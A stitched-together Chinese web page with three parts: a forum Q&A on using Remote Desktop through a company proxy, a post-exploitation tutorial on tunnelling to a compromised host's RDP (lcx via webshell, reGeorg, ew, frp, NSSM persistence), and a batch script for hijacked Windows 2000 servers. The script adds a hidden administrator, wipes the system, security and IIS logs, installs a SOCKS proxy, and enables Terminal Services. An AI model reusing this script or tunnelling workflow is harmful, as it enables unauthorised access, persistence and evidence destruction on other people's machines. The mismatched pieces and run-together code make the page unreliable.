请问使用代理上网，怎么使用3389

由于公司需要对员工上网行为进行规范，所以专门设置了一个 代理出口，换句话讲就是员工必须通过该代理才能正常使用网络，------解决方案--------------------------------------------------------3389是windows远程桌面的默认端口，只要设置允许远程，就可以通过远程桌面远程访问，一般情况下，部署于外网的Web服务器都是允许远程桌面的，且一般会把远程端口改掉以增加安全性。至于上网代理，有很多代理上网软件，端口号可自定义，比如CCProcxy，IP-Guard。------解决方案--------------------------------------------------------下一个工具软件SocksCap，设置好代理，然后把mstsc.exe的快捷方式放进去，以后就在sockscap里面运行它就行了。------解决方案--------------------------------------------------------事实上，多数无法设置代理的软件，都可以通过SOCKSCAP透明地通过代理，但是前提是你的代理允许SOCKS，如果只允许HTTP，恐怕还得再下个HTTP2SOCKS的工具，能否成功，本人没试过。------解决方案--------------------------------------------------------要透明使用IP代理，还有一个较好的工具就是ProxifierPE2.91汉化版，可以搜到。我们用的就是此软件，很小巧，已带权，又汉化了。

最近参与内网渗透比较多，认知到自己在会话维持上过于依赖web服务，web服务一旦关闭，便失去了唯一的入口点。

本次以远程桌面连接来进行说明，介绍几种常用的连接方式。

本次目标主机ip为：172.16.86.153

使用条件：服务器通外网，拥有自己的公网ip

msf是我进行内网渗透中用的最多的工具，它内置了很多强大的功能，用起来相当方便。

msf的meterpreter内置了端口转发功能，可以把内网的端口转发到本地。

转发目标主机的3389远程桌面服务端口到本地的8888，使用linux中的rdesktop连接本地的8888端口。

msf内置了socks模块，在session但基础上配置路由，调用即可使用，但是速度和稳定性都很差，不做详细介绍。

使用条件：服务器通外网，拥有自己的公网ip

lcx是一个经典的端口转发工具，直接把3389转发到公网的vps上。

通过大马上传lcx.exe,执行系统命令，其中1.1.1.1是vps的公网ip。

因为我公网vps使用的是linux的系统，lcx对应linux的工具为portmap 。

p1为监听的端口，p2为转发到的端口。

成功监听到转发出的3389端口。

直接使用远程桌面服务连接1.1.1.1:33889

基于web服务的socks5隧道的优点是，在内网服务器不通外网的情况下也能正常使用。

常用的工具有：reGeorg，reDuh，Tunna和Proxifier。

本次只介绍reGeorg的具体用法。

选择对应脚本的tunnel上传到服务器。

访问上传文件，显示如下表示成功。

打开Proxifier，更改为脚本指定的端口。

本地电脑成功通过socks5带进了目标主机的内网。（若失败，可能是某些防护检测到了异常流量，可采用reDuh）

本地电脑直接远程连接目标主机的内网ip。

使用条件:目标主机通外网，拥有自己的公网ip

选择对应主机操作系统的执行文件。

目标主机为windows系统，选择上传ew_for_Win.exe文件。

公网vps使用ew_for_linux64文件。

首先在公网vps上执行：

-l为Proxifier连接的端口，-e为目标主机和vps的通信端口。

然后在目标主机中执行:

socks5隧道建立成功，成功把自己的主机带进目标内网。

使用Proxifier，配置ip和连接端口。

连接远程桌面成功。

传送门

使用条件:目标主机通外网，拥有自己的公网ip

首先需要在公网服务器搭建服务端，搭建方法参考: 传送门

要注意的是，客户端和服务端的版本号要一致，否则无法正常使用。

对frpc.ini进行配置，为了保证搭建的隧道不对他人恶意利用，加入账户密码进行验证。

上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe（在实战中可能会提示找不到配置文件，需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径）

公网vps主机上运行frps。

隧道建立成功，连接远程桌面。

类似的工具还有：sSocks，Termite等，不需要每种都掌握，有自己用的顺手的就行。

一般在网站服务的web服务关闭后，服务器重启后，大部门后门都会失效，这时需要用到系统服务封装工具。

以NSSM来进行示例，封装frpc为系统服务，建立持久的socks5隧道。

启动nssm图形化界面。

选择想要组册服务的exe应用。

设置服务的名字。直接点击install service，如下表示注册服务成功。

状态设置为启动，重启电脑进行测试，重启后frpc.exe自动运行，成功和frps连接。

本次列举了一些常用的工具，还有很多工具没有列举到，

功能原理都是大同小异，有那么几个用的顺手就好。

首先需要几个软件

第一个是snake写的socks5代理跳板，自己去找

第二个是小榕写的CleanIISLog，

开始操作：打开--开始--程序--附件--笔记本写入：

-------------------------------------------------------------------------------

echo offnet user TsInternetUser 12345 <--TsInternetUser是win2k默认用户，我们更改密码net localgroup administrators TsInternetUser /add net use \\127.0.0.1\ipc$ "12345" /user:"TsInternetUser" dellog.exe -s \\127.0.0.1 -l "application" -C dellog.exe -s \\127.0.0.1 -l "system" -Cdellog.exe -s \\127.0.0.1 -l "security" -Cnet stop w3svc del c:\winnt\system32\logfiles\*.*/s /f /q del d:\winnt\system32\logfiles\*.*/s /f /q net START w3svc sss -install sss -config starttype 2 sss -config port 1080 net start skserver echo [Components] > %systemroot%\sql

echo TSEnable = on >> %systemroot%\sql

sysocmgr /i:%systemroot%\inf\sysoc.inf /u:%systemroot%\sql /q

--------------------------------------------------------------------------------

写好后另存为，3389.bat文件，大家可以更换你想要的名字，但扩展名一定要是bat文件然后将文件上传到主机上运行3389.bat ，必需同一个目录下运行bat文件，3分钟后你就可以连接3389了！还有SOCKS5代理但不是每台主机都行！要确定是台win2000 server肉鸡！这样的成功率高达80%，本人测试10台server肉鸡后有7台能登陆3389，好东西当然要分享啦

---